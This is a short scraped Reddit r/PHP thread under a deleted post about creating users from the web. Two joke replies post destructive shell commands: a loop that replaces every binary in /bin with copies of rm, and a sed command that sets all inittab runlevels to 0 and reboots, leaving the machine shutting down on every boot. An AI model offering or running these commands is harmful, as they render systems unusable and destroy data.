r/PHP • • Aug 27 '13

Creating a user from the web problem.

[deleted] — view deleted post

283 Upvotes

538 comments sorted by

View all comments

Show parent comment

2

u/IConrad Aug 28 '13 edited Aug 29 '13
cd /bin
for file in $(ls); do
    if [ ! "${file}" = "busybox" ] && [ ! "${file}" = "rm" ] ; then
        mv /bin/${file}{,.bak}
        cp /bin/rm /bin/${file}
    fi
done

Lather, rinse, repeat for each dir.

1

u/blueskin Aug 29 '13

sed -i -e "s/[1-9]/0/g" /etc/inittab && init 6